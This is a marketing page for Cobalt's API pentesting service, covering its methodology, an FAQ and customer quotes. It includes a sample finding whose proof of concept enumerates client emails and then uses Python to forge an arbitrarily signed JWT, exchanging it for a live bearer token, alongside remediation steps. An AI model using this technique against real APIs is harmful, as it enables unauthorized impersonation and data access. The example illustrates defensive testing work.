Request a Demo
API PENTEST SERVICES

Secure every API your business runs on

APIs move the data your business depends on, but every integration widens your attack surface. Cobalt tests your full API footprint with human-led, AI-powered pentesting, finding and confirming the exploitable flaws in authentication, data exchange, and access controls that attackers target first.
THE CHALLENGE

APIs are your largest attack surface, and the hardest to see

APIs are the backbone of modern software, connecting your applications, partners, and data. That same connectivity makes them a primary target for attackers.

  • APIs move faster than the testing meant to secure them.
  • Teams ship new endpoints with every release, undocumented and shadow APIs pile up outside of inventory lists, and each API can expose authentication, access controls, and sensitive data to the internet.
  • The API vulnerabilities that matter most are exactly the ones basic vulnerability scanners cannot find.
    When a mobile app is compromised, three things are at risk at once: your backend and the web servers, billing systems, and PII behind it; your users and the payment and personal data on their phones; and your reputation as the app's publisher.

 

Automated tools flag misconfigurations, but they cannot reason about broken object level authorization, excessive data exposure, and business logic abuse. Proof of exploitability is what separates a real finding from noise, and it takes a human to establish it.

OUR APPROACH

A proven API methodology,
executed by the Cobalt Core

Cobalt API Pentesting Services follow an industry-leading methodology, informed by the OWASP ASVS and Top 10 guidelines. Human-led testing goes where automation cannot, with AI accelerating reconnaissance, enumeration, scanning, and triage. Our expert pentesters spend their time on exploitation and business logic, ensuring your APIs stay secure. The methodology adapts across REST, SOAP, GraphQL, API gateways, and microservices to match your architecture.

Read the API pentest methodology
map-light-full

Map the full attack surface

Pentesters discover and catalog every endpoint, map authentication and session workflows, and classify data sensitivity so high-risk operations are tested first.
diagram-project-light-full

Model access and business logic

Testers build an access control matrix across roles, endpoints, and HTTP methods, then examine workflows for logic gaps that let an attacker bypass controls or manipulate state.
magnifying-glass-light-full

Enumerate and scan, authenticated and unauthenticated

Multiple scanning methods surface misconfigurations, hidden parameters, and exposed endpoints as both an outside attacker and a legitimate, authenticated user.
wrench-light-full

Exploit manually, beyond the scanner

Expert pentesters confirm what is actually exploitable, from broken object level authorization and broken authentication to injection, excessive data exposure, rate limiting failures, privilege escalation, and business logic abuse.

Find and fix critical API vulnerabilities

Every finding is an exploitable vulnerability with reproduction steps and remediation guidance, reported in real time and available for unlimited retesting within a 7-day SLA.
Example API finding

HIGH (CVSS 9.3): JWT Bearer Grant Type Accepts Unsigned JWTs, Enabling Full API Authentication Bypass

Severity: High | CVSS: 9.3 | CWE: CWE-347 (Improper Verification of Cryptographic Signature) | OWASP: Broken Authentication | Status: Fixed

Description

The API OAuth2 token endpoint implements the jwt_bearer grant type but performs no cryptographic validation of the submitted JWT. Any JWT presenting a valid email claim matching a registered API client is accepted and exchanged for a live Bearer token, regardless of the signing key used or the algorithm specified.

The list of valid client email addresses is exposed unauthenticated via GET /v2/admin/clients, making full attack automation trivial. An attacker with no prior knowledge of the system can enumerate client identities, forge a JWT signed with an arbitrary key, and obtain a valid access token for any registered API client.

Affected Resources

  • POST /v2/oauth/token — token endpoint accepting jwt_bearer grant type
  • GET /v2/admin/clients — unauthenticated endpoint exposing registered client email addresses

Proof of Concept

Step 1: Enumerate registered API client email addresses without authentication:

  1. GET /v2/admin/clients HTTP/1.1
  2. Host: [api-target-domain]
  3.  
  4. Response:
  5. [
  6. {"email": "client-a@[api-target-domain]", ...},
  7. {"email": "client-b@[api-target-domain]", ...}
  8. ]

Step 2: Forge a JWT signed with an arbitrary wrong key:

  1. import jwt, time
  2.  
  3. payload = {
  4. "iss": "client-a@[api-target-domain]",
  5. "sub": "client-a@[api-target-domain]",
  6. "aud": "https://[api-target-domain]",
  7. "exp": int(time.time()) + 3600,
  8. "iat": int(time.time())
  9. }
  10.  
  11. # Server does not validate the signature
  12. # Any key is accepted
  13.  
  14. forged_token = jwt.encode(
  15. payload,
  16. "wrong-key-server-never-checks",
  17. algorithm="HS256"
  18. )

Step 3: Exchange the forged JWT for a valid Bearer token:

  1. POST /v2/oauth/token HTTP/1.1
  2. Host: [api-target-domain]
  3. Content-Type: application/x-www-form-urlencoded
  4.  
  5. grant_type=jwt_bearer&assertion=[forged-jwt-from-step-2]
  6.  
  7. Response 200 OK:
  8. {
  9. "access_token": "[valid-bearer-token]",
  10. "token_type": "Bearer",
  11. "expires_in": 3600
  12. }

Step 4: Use the issued token to authenticate as the target API client against protected endpoints.

Impact

Full API authentication is trivially bypassed. Any party who knows or can enumerate a registered client email address can impersonate that API client without possessing the associated private key.

The unauthenticated client enumeration endpoint removes the only practical barrier to exploitation.

Suggested Fix

  • Enforce full JWT signature verification against the client's registered public key before issuing any token. Reject tokens that fail signature validation unconditionally.
  • Reject JWTs specifying alg:none or any algorithm not explicitly allowlisted for the issuing client.
  • Restrict GET /v2/admin/clients (and any endpoint exposing client identities) to authenticated administrators only.
What You Get

Coverage, speed, and proof across every API

A Cobalt API pentest goes beyond automated scanning to uncover the vulnerabilities that matter most. You get elite security specialists, an AI-powered platform, and validated findings that flow directly into your development workflow, all delivered through the Cobalt Offensive Security Platform.

Explore Platform Benefits

Coverage for every architecture

Test REST, SOAP, and GraphQL APIs, API gateways, and the microservices behind them. Cobalt adapts its methodology to your design so you close the risks specific to each, not a generic checklist.

Remediation at DevOps speed

Findings route into Jira, GitHub, Azure DevOps, and Slack through 50+ integrations, so developers act on high-impact issues without leaving their workflow. Collaborate with pentesters in real time and retest without limits.

Proof, not noise

Every finding is a validated, exploitable vulnerability with reproduction steps and remediation guidance. On-demand reports give executives and auditors the evidence they need, backed by the largest offensive security dataset in the industry.
CUSTOMER TESTIMONIALS

Trusted by security leaders

customer-logos-white_toast-logo-1
Cobalt was able to shave off hundreds of thousands of dollars for us that we were able to use towards hiring another person and buying additional tools, plus a little bit more.

David Kosorok

Director of Application Security, Toast
insurity-logo-1
Cobalt’s pentesters give us specialized talent, delivering exceptional value compared to maintaining the same talent in-house. And we don’t just get one person, we get a team. We’re ecstatic that we can have these highly talented pentesters with diverse skills and perspectives working on our applications.

Adam Davis

Director of Application Security, Insurity
FAQ

Frequently asked questions about API pentesting

What is API penetration testing?
API penetration testing is a controlled, authorized assessment of an API to find and confirm exploitable vulnerabilities before real attackers do. Cobalt combines human-led testing with AI-powered automation, following the OWASP API Security Top 10 and the OWASP ASVS to evaluate authentication, authorization, data exchange, and business logic across your endpoints and microservices.
What methodology does Cobalt use for API pentesting?

Cobalt follows an industry-standard methodology built on the OWASP API Security Top 10, the OWASP Application Security Verification Standard (ASVS), and the OWASP Testing Guide. Testing spans scope reconnaissance and endpoint discovery, business and application logic mapping, automated enumeration and scanning, authenticated vulnerability scanning and manual crawling, and manual exploitation, followed by real-time reporting, triaging, and retesting.

Which API types and architectures can Cobalt test?
Cobalt tests REST, SOAP, and GraphQL APIs, API gateways, and the microservices behind them, adapting the methodology to each architecture. Testing covers both documented endpoints and the undocumented or shadow endpoints that widen your attack surface.
What kinds of vulnerabilities does an API pentest find?

Common findings include broken object level authorization and broken access controls, broken authentication, excessive data exposure, rate limiting failures, injection, security misconfigurations, and business logic abuse that automated tools miss. Every finding is validated as exploitable and delivered with reproduction steps and remediation guidance.

How is API pentesting different from a scan or DAST?
Automated scanning and DAST provide continuous coverage and catch recurring issues, but they capture a point-in-time view and cannot reason about business logic or authorization. Human-led pentesting uncovers the complex, chained, and logic-based vulnerabilities that scanners overlook. Many teams run both, using DAST between pentests for ongoing visibility.
What does API pentesting work well with?

API pentesting pairs naturally with Web Application Pentest for shared endpoints and data exchange, Mobile Application Pentest for the APIs and authentication flows behind the app, Cloud Pentest for the environment that hosts your APIs, and DAST for continuous coverage between pentests.

RESOURCES

The latest from Cobalt

GET STARTED

Your APIs change constantly. Your testing needs to keep pace.

Secure every API with human-led, AI-powered pentesting from Cobalt. Access findings and remediate risk in real-time through the Cobalt Offensive Security Platform.

product-screenshot-FPO2